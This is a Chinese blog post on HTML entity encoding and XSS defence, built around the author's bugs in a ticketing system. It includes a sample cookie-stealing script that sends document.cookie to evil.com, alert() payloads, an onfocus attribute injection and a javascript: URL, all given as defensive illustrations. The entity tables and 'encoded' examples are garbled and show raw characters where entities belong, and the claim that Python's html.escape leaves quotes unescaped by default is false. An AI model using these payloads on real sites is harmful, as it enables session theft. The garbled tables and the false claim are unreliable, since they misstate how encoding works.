曾接手过一个内部工单系统。上线第二天,运营同事在群里发了张截图——她在备注字段输入了 <a href="http://xxx">点我</a>,结果页面真的渲染出了一个可点击的链接。
我当时的第一判断是"后端没做编码"。查了代码,后端确实调了 htmlspecialchars。再往前查,发现数据经过了两次处理:后端编码完后,前端用 JavaScript 把数据取出来,又拼了一次 innerHTML,但前端拼的时候用的是原始数据,不是编码后的版本。
等于后端白编码了。
这就是典型的 HTML 注入场景。虽然那次不是恶意攻击,但逻辑是一样的:用户输入的内容被当成了 HTML 解析。如果那段内容换成 <script>document.location='http://evil.com/?cookie='+document.cookie</script>,后果就不只是"多个链接"这么简单了。
实体编码的三种写法
HTML 实体编码的核心思路就是把"有特殊含义的字符"替换成"无害的替代表示"。浏览器渲染时看到这些替代表示,知道"哦,这里是想显示一个小于号,不是标签开始"。
有三种写法,浏览器都认:
| 类型 | 示例 | 说明 |
|---|---|---|
| 命名实体 | & | 只能表示部分常用字符 |
| 十进制数字实体 | & | &# + Unicode 码点 + ; |
| 十六进制数字实体 | & | &#x + Unicode 码点 + ; |
最常用的几个保留字符:
| 原始字符 | 命名实体 | 十进制 | 十六进制 |
|---|---|---|---|
& | & | & | & |
< | < | < | < |
> | > | > | > |
" | " | " | " |
' | ' | ' | ' |
这三种写法在浏览器里渲染结果没区别。区别在于覆盖范围——命名实体只定义了几百个,而数字实体理论上可以表示所有 Unicode 字符。比如 😀 显示 😀,命名实体里就没有这个。
编码和不编码的区别
拿一个具体场景来做对比。假设用户提交了一段文本:
你好 <script>alert('xss')</script> 欢迎
不编码直接输出到 HTML:
浏览器看到 <script> 标签,会尝试执行里面的 JavaScript。因为浏览器解析 HTML 的时候,< 就是标签开始的标志。结果就是个弹窗。
编码后输出:
替换规则逐字符处理。< 变成 <,> 变成 >,' 变成 '。最终结果是:
你好 <script>alert('xss')</script> 欢迎
浏览器渲染这段时,< 被理解成"显示一个小于号",不会当作标签。所有字符都安全地显示为文本。
我用 Python 测过这个转换过程。html.escape 默认只编码 &、<、> 三个字符,引号需要额外指定 quote=True。我一开始没传这个参数,结果属性值里的引号没被编码,还是存在属性注入风险。
import html
raw = "<script>alert('xss')</script>"
print(html.escape(raw)) # <script>alert('xss')</script>
print(html.escape(raw, quote=True)) # <script>alert('xss')</script>
区别在哪?第一个输出里单引号还是原样,如果这段文本被放到 HTML 属性里,攻击者可以通过单引号提前闭合属性值。
不同上下文,不同规则
HTML 实体编码不是万能药。它只在HTML 标签内容和HTML 属性值这两个上下文中有效。换一个上下文,规则就变了。
HTML 标签内容:<div>{{ text }}</div>。只需要编码 <、>、&。因为在这里,只有 < 可能被误解析为标签起始。
HTML 属性值:<input value="{{ text }}">。除了 <、>、&,还必须编码引号。攻击者可以通过注入 " 闭合属性,然后插入新属性。比如用户输入 " autofocus onfocus="alert(1) 双引号包起来的内容,浏览器会解析出两个属性。
<!-- 未编码的情况 -->
<input value="" autofocus onfocus="alert(1)" />
<!-- 攻击者的 onfocus 被执行了 -->
<!-- 编码后的情况 -->
<input value='" autofocus onfocus="alert(1)' />
<!-- 所有内容都乖乖待在 value 里 -->
JavaScript 字符串:<script>var name = '{{ text }}';</script>。这里的防御规则完全不同。HTML 实体编码帮不上忙,因为浏览器解析 HTML 阶段已经把实体解码了,JavaScript 拿到的是解码后的原始字符。如果用户输入中包含 ' 或 \,可以直接闭合 JavaScript 字符串然后注入代码。
我踩过这个坑。有次在 <script> 标签里嵌了一段用户配置,虽然对 < 做了 HTML 编码,但没处理反斜杠。一个用户在昵称里用了 \,结果 JavaScript 语法直接崩了——\ 转义了后面的引号,字符串被提前闭合。
URL 上下文:<a href="{{ url }}">。这里需要 URL 编码,不是 HTML 编码。如果用户输入 javascript:alert(1),HTML 编码引号是没用的——因为 href 的值里,javascript: 协议会被执行。框架层面也很难防御这个,除非做白名单过滤协议头。
编码不是安全银弹
另一个容易翻车的地方是"二次编码"。
我有一次修一个 bug,看到用户输入在数据库里存的是 &lt;——字面意思的 &lt;。查了一圈发现:用户在表单里输入了 <,前端 JavaScript 做了第一次实体编码变成 <,数据到后端后端又调用了一次 htmlspecialchars,把 < 里的 & 又编码了一遍,变成 &lt;。
结果是页面显示 < 而不是 <。用户看到的是乱码。
判断依据很简单:去数据库查原始存储的值。看到 &lt; 的时候就意识到是双重编码。后来改成只在输出端做一次编码,问题解决。
这条规则一直有效:编码应该在输出端做,不是在输入端。 数据库里存原始数据,模板渲染时再编码。这样不管数据从哪里来(用户输入、API、迁移脚本),都不会出现编码混乱。
XSS 防御的层次
HTML 实体编码防御的是反射型和存储型 XSS——这两种 XSS 的核心都是"用户输入的内容被当成了 HTML 解析"。编码后,内容变成了纯文本,脚本不会被解释执行。
但它对DOM 型 XSS的防护有限。DOM XSS 发生在客户端——前端代码通过 innerHTML、document.write、eval 等 API 把用户控制的字符串当作 HTML 或代码执行。就算服务端做了编码,如果前端在 JavaScript 层面做了额外的解码操作(比如 decodeURIComponent),编码就不起作用了。
我遇到过一种情况:服务端对用户名做了实体编码,但前端拿到数据后用 innerHTML 展示没问题。可另一个功能把用户名放到了 URL 参数里,然后又从 URL 读取出来直接 innerHTML——URL 参数里的数据没有经过服务端编码,等于绕过了防护。
最佳实践
踩了这么多坑之后,我总结了几条规则:
在服务端做编码。最可靠的是 OWASP 的编码库,Java 用 Java Encoder,Python 用 html.escape,PHP 用 htmlspecialchars。不要在客户端做编码,容易被绕过。
区分上下文。输出到 HTML 标签内容用一套规则,输出到属性值额外编码引号,输出到 JavaScript 用 \xHH 编码,输出到 URL 调用 encodeURIComponent。
用 textContent 替代 innerHTML。如果只是展示文本,textContent 不会把内容解析为 HTML,天然安全。只在确信内容安全时才用 innerHTML。
内容安全策略(CSP)作为最后一道防线。即使编码出漏洞了,CSP 也能阻止恶意脚本执行。我的博客配了 script-src 'self',虽然配置过程被第三方 SDK 折腾了一整天,但配完安心很多。
实际工作中建议用 HTML 实体编码工具 可以在线验证你的编码结果是否正确,支持双向转换和预览。